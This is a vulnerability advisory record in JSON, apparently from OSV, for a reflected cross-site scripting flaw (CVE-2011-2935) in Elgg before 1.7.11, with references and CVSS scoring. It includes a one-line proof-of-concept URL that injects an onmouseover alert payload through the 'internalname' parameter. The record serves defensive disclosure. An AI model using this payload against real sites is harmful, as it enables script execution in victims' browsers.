{"id":"GHSA-mcfm-j5g6-w26f","aliases":["CVE-2011-2935"],"title":"Elgg Reflected XSS Vulnerability","description":"### VULNERABILITY DESCRIPTION\nThe `internalname` parameter is not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser\n\n### PROOF-OF-CONCEPT/EXPLOIT\n```http\nhttp://localhost/pg/embed/media?internalname=%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22\n```","severity":"medium","score":6.1,"published":"2022-04-22T00:24:11.000Z","modified":"2024-01-12T22:26:37.605Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"elgg/elgg","ranges":[{"events":[{"introduced":"0"},{"fixed":"1.7.11"}],"type":"ECOSYSTEM"}],"versions":[],"fixed":["1.7.11"]}],"references":["https://nvd.nist.gov/vuln/detail/CVE-2011-2935","https://github.com/Elgg/Elgg/issues/3544","https://github.com/Elgg/Elgg/commit/2843b4f846874d434a2403ac1f27e41035b45e04","https://github.com/Elgg/Elgg","https://oss-security.openwall.narkive.com/1UH3NYx8/cve-request-elgg-1-7-10-multiple-vulnerabilities","https://security-tracker.debian.org/tracker/CVE-2011-2935","https://web.archive.org/web/20110907122607/http://blog.elgg.org/pg/blog/brett/read/189/elgg-1711-released","http://yehg.net/lab/pr0js/advisories/[elgg_1710]_xss_sqlin"],"sources":[{"name":"OSV","id":"GHSA-mcfm-j5g6-w26f","modified":"2024-01-12T22:26:37.605394Z","url":"https://osv.dev/vulnerability/GHSA-mcfm-j5g6-w26f"}],"assessments":[{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1}]}